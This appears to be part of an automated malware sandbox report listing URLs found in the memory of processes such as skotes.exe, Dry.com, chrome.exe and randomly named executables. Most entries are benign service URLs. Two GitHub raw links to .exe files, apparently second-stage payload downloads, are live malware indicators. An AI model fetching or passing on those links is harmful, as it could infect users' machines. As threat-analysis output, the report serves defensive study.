Source: powershell.exe, 0000003A.00000002.2889069926.00000000049A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: Dry.com, 00000011.00000002.3088702420.0000000000A65000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: skotes.exe, 00000006.00000002.3094333474.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ssl.com/repository/SSLcom-RootCA-EV-RSA-4096-R2.crt0
Source: Dry.com, 00000011.00000002.3097535633.0000000003BF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000032.00000003.2842674025.00000AD002498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport
Source: chrome.exe, 00000032.00000003.2842674025.00000AD002498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport/allowlist
Source: chrome.exe, 00000032.00000003.2842674025.00000AD002498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport/fine-allowlist
Source: chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: powershell.exe, 00000037.00000002.2847065209.0000000004D51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003A.00000002.2889069926.0000000004851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBkq
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 00000032.00000003.2865055795.00000AD004680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: Dry.com, 00000011.00000002.3136429007.00000000063F5000.00000004.00000800.00020000.00000000.sdmp, Dry.com, 00000011.00000002.3094195378.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: Dry.com, 00000011.00000002.3136429007.00000000063F5000.00000004.00000800.00020000.00000000.sdmp, Dry.com, 00000011.00000002.3094195378.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: Dry.com, 00000011.00000002.3097535633.0000000003BF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Dry.com, 00000011.00000002.3097535633.0000000003BF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Dry.com, 00000011.00000002.3097535633.0000000003BF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000032.00000003.2813738204.00000AD002EE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000032.00000003.2835985330.00000AD002F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2813827871.00000AD002F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2816618816.00000AD002F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822603805.00000AD002F00000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822357932.00000AD002EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2813900750.00000AD002F30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2816761581.00000AD002F30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2813738204.00000AD002EE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000032.00000003.2784794181.00004ED800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2850257782.00004ED80080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000032.00000003.2784794181.00004ED800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2850257782.00004ED80080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000032.00000003.2785428606.00004ED800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000032.00000003.2784794181.00004ED800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2850257782.00004ED80080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000032.00000003.2778507832.0000420C002E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2778486868.0000420C002DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000032.00000003.2792234176.00000AD0026A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: Dry.com, 00000011.00000002.3136429007.00000000063F5000.00000004.00000800.00020000.00000000.sdmp, Dry.com, 00000011.00000002.3094195378.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: Dry.com, 00000011.00000002.3136429007.00000000063F5000.00000004.00000800.00020000.00000000.sdmp, Dry.com, 00000011.00000002.3094195378.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: powershell.exe, 0000003A.00000002.2894630097.00000000058B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000003A.00000002.2894630097.00000000058B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000003A.00000002.2894630097.00000000058B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: chrome.exe, 00000032.00000003.2846284256.00000AD003B20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/gws/cdt1
Source: chrome.exe, 00000032.00000003.2846284256.00000AD003B20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/gws/cdt1Cross-Origin-Opener-Policy:
Source: chrome.exe, 00000032.00000003.2846284256.00000AD003B20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/gws/cdt1rj
Source: chrome.exe, 00000032.00000003.2846284256.00000AD003B20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gws/cdt1
Source: 8b67fa16f7.exe, 00000030.00000003.2676434059.00000000076E6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 8b67fa16f7.exe, 00000030.00000003.2676434059.00000000076E6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 8b67fa16f7.exe, 00000030.00000003.2676434059.00000000076E6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: chrome.exe, 00000032.00000003.2792234176.00000AD0026A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/:
Source: chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/J
Source: chrome.exe, 00000032.00000003.2856316455.00000AD0038C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2856464030.00000AD0038CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2856175496.00000AD0038C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2856570712.00000AD0038D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview
Source: chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/J
Source: chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/:
Source: chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp
Source: chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/J
Source: chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
Source: 73aaed44cf.exe, 00000031.00000002.2842930918.000000000071F000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chrome.exe, 00000032.00000003.2792234176.00000AD0026A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: chrome.exe, 00000032.00000003.2792234176.00000AD0026A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 00000032.00000003.2792234176.00000AD0026A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: chrome.exe, 00000032.00000003.2792234176.00000AD0026A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 00000032.00000003.2792234176.00000AD0026A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: chrome.exe, 00000032.00000003.2792234176.00000AD0026A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: chrome.exe, 00000032.00000003.2792234176.00000AD0026A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: chrome.exe, 00000032.00000003.2792234176.00000AD0026A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: chrome.exe, 00000032.00000003.2792234176.00000AD0026A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: chrome.exe, 00000032.00000003.2792234176.00000AD0026A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000032.00000003.2823135016.00000AD00340C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: chrome.exe, 00000032.00000003.2792234176.00000AD0026A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/J
Source: chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: Dry.com, 00000011.00000002.3097535633.0000000003BF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Dry.com, 00000011.00000002.3097535633.0000000003BF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Dry.com, 00000011.00000002.3097535633.0000000003BF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: svchost.exe, 00000035.00000003.2789048457.00000120EC6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 00000035.00000003.2789048457.00000120EC72F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000035.00000003.2789048457.00000120EC6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: svchost.exe, 00000035.00000003.2789048457.00000120EC6D3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.2789048457.00000120EC724000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.2789048457.00000120EC737000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.2789048457.00000120EC6F2000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.2789048457.00000120EC718000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000035.00000003.2789048457.00000120EC6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: skotes.exe, 00000006.00000002.3094333474.00000000015A0000.00000004.00000020.00020000.00000000.sdmp, d59846009d.exe, 00000033.00000002.2997822774.00000000026FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: powershell.exe, 0000003A.00000002.2889069926.00000000049A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: skotes.exe, 00000006.00000002.3094333474.00000000015A0000.00000004.00000020.00020000.00000000.sdmp, d59846009d.exe, 00000033.00000000.2785684723.0000000000382000.00000002.00000001.01000000.00000015.sdmp, d59846009d.exe, 00000033.00000002.2997822774.00000000026EF000.00000004.00000800.00020000.00000000.sdmp, d59846009d.exe, 00000033.00000002.2997822774.0000000002661000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Urijas/moperats/raw/refs/heads/main/biyjdfjadaw.exe
Source: d59846009d.exe, 00000033.00000002.2997822774.0000000002689000.00000004.00000800.00020000.00000000.sdmp, d59846009d.exe, 00000033.00000000.2785684723.0000000000382000.00000002.00000001.01000000.00000015.sdmp, d59846009d.exe, 00000033.00000002.2997822774.0000000002661000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Urijas/moperats/raw/refs/heads/main/ktyihkdfesf.exe
Source: d59846009d.exe, 00000033.00000002.2997822774.00000000026FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.comD
Source: chrome.exe, 00000032.00000003.2785428606.00004ED800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000032.00000003.2784794181.00004ED800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2850257782.00004ED80080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000032.00000003.2785428606.00004ED800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/hj
Source: chrome.exe, 00000032.00000003.2785428606.00004ED800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000032.00000003.2784794181.00004ED800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2850257782.00004ED80080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000032.00000003.2785428606.00004ED800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 00000032.00000003.2785428606.00004ED800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: chrome.exe, 00000032.00000003.2855868798.00000AD0038A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2855805447.00000AD0038A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2855972950.00000AD0038AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
Source: chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: 8b67fa16f7.exe, 00000030.00000003.2676434059.00000000076E6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: 8b67fa16f7.exe, 00000030.00000003.2676434059.00000000076E6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
Source: Dry.com, 00000011.00000002.3094195378.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000032.00000003.2850257782.00004ED80080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000032.00000003.2848012629.00000AD003B88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000032.00000003.2784794181.00004ED800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2850257782.00004ED80080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000032.00000003.2784794181.00004ED800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2850257782.00004ED80080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000032.00000003.2850257782.00004ED80080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
